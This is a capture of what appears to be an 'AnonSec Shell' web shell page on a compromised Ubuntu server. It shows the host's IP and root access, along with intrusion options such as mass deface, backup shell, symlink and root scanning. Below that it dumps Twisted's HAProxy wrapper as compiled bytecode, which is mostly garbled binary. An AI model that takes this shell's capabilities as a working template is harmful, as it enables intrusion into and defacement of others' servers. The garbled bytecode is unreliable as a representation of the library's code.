AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/protocols/haproxy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/protocols/haproxy/__pycache__/_wrapper.cpython-310.pyc
o

�b]�@s�dZddlmZmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZGdd�de	j�ZGd
d�de	j�Zdejdefdd�ZdS)z@
Protocol wrapper that provides HAProxy PROXY protocol support.
�)�Optional�Union)�
interfaces)�_WrapperServerEndpoint)�policies�)�_info)�InvalidProxyHeader)�V1Parser)�V2Parsercs`eZdZdZdejdejf�fdd�Zde	ddfd	d
�Z
dejfdd�Zdejfd
d�Z
�ZS)�HAProxyProtocolWrappera
    A Protocol wrapper that provides HAProxy support.

    This protocol reads the PROXY stream header, v1 or v2, parses the provided
    connection data, and modifies the behavior of getPeer and getHost to return
    the data provided by the PROXY header.
    �factory�wrappedProtocolcst��||�d|_d|_dS�N)�super�__init__�
_proxyInfo�_parser)�selfr
r��	__class__��D/usr/lib/python3/dist-packages/twisted/protocols/haproxy/_wrapper.pyrs
zHAProxyProtocolWrapper.__init__�data�returnNcCs�|jdur|j�|�S|j}|durPt|�dkr4|dd�tjkr4t|dd��d@dkr4t�|_}nt|�dkrJ|dd�tj	krJt�|_}n|�
�dSz|�|�\|_}|rd|j�|�WdSWdStyt|�
�YdSw)N���
��� ��)
rr�dataReceivedr�lenr�PREFIX�ordr
�PROXYSTR�loseConnection�feedr	)rr�parser�	remainingrrrr"$s(
��z#HAProxyProtocolWrapper.dataReceivedcC�*|jr|jjr|jjS|jsJ�|j��Sr)r�source�	transport�getPeer�rrrrr.=�

zHAProxyProtocolWrapper.getPeercCr+r)r�destinationr-�getHostr/rrrr2Cr0zHAProxyProtocolWrapper.getHost)�__name__�
__module__�__qualname__�__doc__r�WrappingFactoryr�	IProtocolr�bytesr"�IAddressr.r2�
__classcell__rrrrrs��rc@s"eZdZdZeZdefdd�ZdS)�HAProxyWrappingFactoryzL
    A Factory wrapper that adds PROXY protocol support to connections.
    rcCs.tj�|j�r
|j��}n|jjj}|�d�S)z�
        Annotate the wrapped factory's log prefix with some text indicating
        the PROXY protocol is in use.

        @rtype: C{str}
        z (PROXY))r�ILoggingContext�
providedBy�wrappedFactory�	logPrefixrr3)rr@rrrr@Qs

z HAProxyWrappingFactory.logPrefixN)r3r4r5r6r�protocol�strr@rrrrr<Jsr<�wrappedEndpointrcCs
t|t�S)a�
    Wrap an endpoint with PROXY protocol support, so that the transport's
    C{getHost} and C{getPeer} methods reflect the attributes of the proxied
    connection rather than the underlying connection.

    @param wrappedEndpoint: The underlying listening endpoint.
    @type wrappedEndpoint: L{IStreamServerEndpoint}

    @return: a new listening endpoint that speaks the PROXY protocol.
    @rtype: L{IStreamServerEndpoint}
    )rr<)rCrrr�
proxyEndpoint_s
rDN)r6�typingrr�twisted.internetr�twisted.internet.endpointsr�twisted.protocolsr�r�_exceptionsr	�	_v1parserr
�	_v2parserr�ProtocolWrapperrr7r<�IStreamServerEndpointrDrrrr�<module>s 6��

Anon7 - 2022
AnonSec Team